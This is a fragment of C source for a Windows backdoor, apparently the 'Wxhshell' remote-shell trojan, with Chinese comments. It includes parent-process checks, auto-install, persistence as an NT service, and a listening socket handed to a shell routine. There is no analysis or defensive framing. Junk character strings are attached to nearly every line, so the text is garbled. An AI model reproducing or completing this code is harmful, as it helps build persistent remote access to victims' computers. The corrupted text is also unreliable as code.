DWORD AffinityMask;
bwjjwu&
DWORD BasePriority; biCX:m+_?
ULONG UniqueProcessId; 3Zm'09A-.
ULONG InheritedFromUniqueProcessId; -_bHLoI
} PROCESS_BASIC_INFORMATION; 6~KtT{MYQ
ceakTAB[
PROCNTQSIP NtQueryInformationProcess;
5:mS~
M
<oy
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i<N[s O
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _~aFzM
I$K? ,
HANDLE hProcess; &TqY\l
PROCESS_BASIC_INFORMATION pbi; $]4>;gTL'
tn-_3C
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m_Owe/BC#m
if(NULL == hInst ) return 0; IL?mt2I Q>
\#P>k;D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
D(}w$hi8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sh []OSM
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `C~RA,M
.z/M (
if (!NtQueryInformationProcess) return 0; WPBn?vb0<
HS{a^c%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W]!{Y'G
if(!hProcess) return 0; re9*q
Q:I2\E
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X<\y%2B|l
5"4O_JQ
CloseHandle(hProcess); cd36f26`"w
0h~Iua5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9$&+0
if(hProcess==NULL) return 0; cPh
U qET
H6ff b)&
HMODULE hMod; U$[C>~ r
char procName[255]; v:*t5M
>
unsigned long cbNeeded; $vNz^!zgV
2ZMYA=[!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .\kcWeC\
2BLcun
CloseHandle(hProcess); 7\sJ=*
D8a[zXWnc
if(strstr(procName,"services")) return 1; // 以服务启动 5BvCP
P q\m8iS,w
return 0; // 注册表启动 Mp:/[%9Fi
} 0MK|spc
G1 ?."
// 主模块 +8e~jf3E1
int StartWxhshell(LPSTR lpCmdLine) | ,bCYK
{ __p\`3(,'
SOCKET wsl; E DuLgg@
BOOL val=TRUE; Qe=,EXf
int port=0; k!e \O> +
struct sockaddr_in door; 2|vArRKt
ueO&%
if(wscfg.ws_autoins) Install(); {C>.fg%t
N&`VMEB)k
port=atoi(lpCmdLine); "4c
?hH:C
Ue:'55
if(port<=0) port=wscfg.ws_port; 7^|oO~x6
<3dmY=
WSADATA data; i6R2R8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e0O2>w
Z%3]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ekx3GM_]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cE}R7,y
door.sin_family = AF_INET; z?$F2+f&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {HKd="%VG
door.sin_port = htons(port); G}aw{Vbg_
# Ny
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >
Y
<in/
closesocket(wsl);
`ReTfz;o
return 1; QJc3@
} ~b+TkPU
Qq;` 9-&j
if(listen(wsl,2) == INVALID_SOCKET) { zk8 o[4
closesocket(wsl); ZV}"k_+-
return 1; ^6!C":f
}
laX(?{_
Wxhshell(wsl); NG-Wn+W@b
WSACleanup(); fY@Y$S`Fh
yjZ]_.
return 0; p<1z!`!P
_@CY_`a
} ;Ee!vqD2
u.(
WW(/N
// 以NT服务方式启动 QFOmnbJg
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {6%vmMbJ
{ Fj\}&H*+
DWORD status = 0; %,$Ms?,n`
DWORD specificError = 0xfffffff; t3ua5xw
uP<w rlW
serviceStatus.dwServiceType = SERVICE_WIN32; 5urM,1SQ@
serviceStatus.dwCurrentState = SERVICE_START_PENDING; wjk-$p
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sS 5 ]d8
serviceStatus.dwWin32ExitCode = 0; Rk2V[R.`S
serviceStatus.dwServiceSpecificExitCode = 0; |FZ)5
serviceStatus.dwCheckPoint = 0; 74YMFI
serviceStatus.dwWaitHint = 0; =a>a A Z
QjH;'OVt
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fUQuEh5_
if (hServiceStatusHandle==0) return; q[4{Xh
\F]X!#&+
status = GetLastError(); )(~s-x^\z@
if (status!=NO_ERROR) oJC-?
{ OgJd^
serviceStatus.dwCurrentState = SERVICE_STOPPED; su]CaHU
serviceStatus.dwCheckPoint = 0; lqFDX
d
serviceStatus.dwWaitHint = 0; ;cQhs7m(9
serviceStatus.dwWin32ExitCode = status; v3|-eWet^
serviceStatus.dwServiceSpecificExitCode = specificError; ;-p1z%
u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SH>L3@Za
return; Az4+([
}
nU]n]gd
B6)d2O9C
serviceStatus.dwCurrentState = SERVICE_RUNNING; =}N&c4I[j
serviceStatus.dwCheckPoint = 0; ;xFx%^M}br
serviceStatus.dwWaitHint = 0; n>]`8+a~%X
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C"bG?Mb
} `f.okqBAh
Fu4LD-#
// 处理NT服务事件,比如:启动、停止 x)eYqH~i
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,KvF:xqA
{ Uc,D&Og
switch(fdwControl) 6^U8Utx
{ _DPWp,k<~
case SERVICE_CONTROL_STOP: ylm*a74-X
serviceStatus.dwWin32ExitCode = 0; i
oX [g
serviceStatus.dwCurrentState = SERVICE_STOPPED; n%;wQ^
serviceStatus.dwCheckPoint = 0; 6<sd6SM
serviceStatus.dwWaitHint = 0; tins.D
{ W- Q:G=S-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #m_3ls}W$
} _t<D~
return; N
]/N}b
case SERVICE_CONTROL_PAUSE: q$)$?"
serviceStatus.dwCurrentState = SERVICE_PAUSED; +We_[Re`<
break; 0TA{E-A
case SERVICE_CONTROL_CONTINUE: DBDHe-1[+
serviceStatus.dwCurrentState = SERVICE_RUNNING; oBZ\mk L
break; 40TS=evG
case SERVICE_CONTROL_INTERROGATE: KL:x!GsV5e
break; xWk:7 ,/
}; %:I\M)t}k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,~^0AtLv
} eELJDSd
BV
OO?d[7Wt0
// 标准应用程序主函数 =O= 0 D
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :s8^nEK
{ K)z{R n
6"@+Jz
// 获取操作系统版本 0* Ox>O>
OsIsNt=GetOsVer(); EBjSK/
GetModuleFileName(NULL,ExeFile,MAX_PATH); MB]8iy8
@Qw~z0PE<l
// 从命令行安装 ^(<Ecdz(
if(strpbrk(lpCmdLine,"iI")) Install(); e~#;ux
&R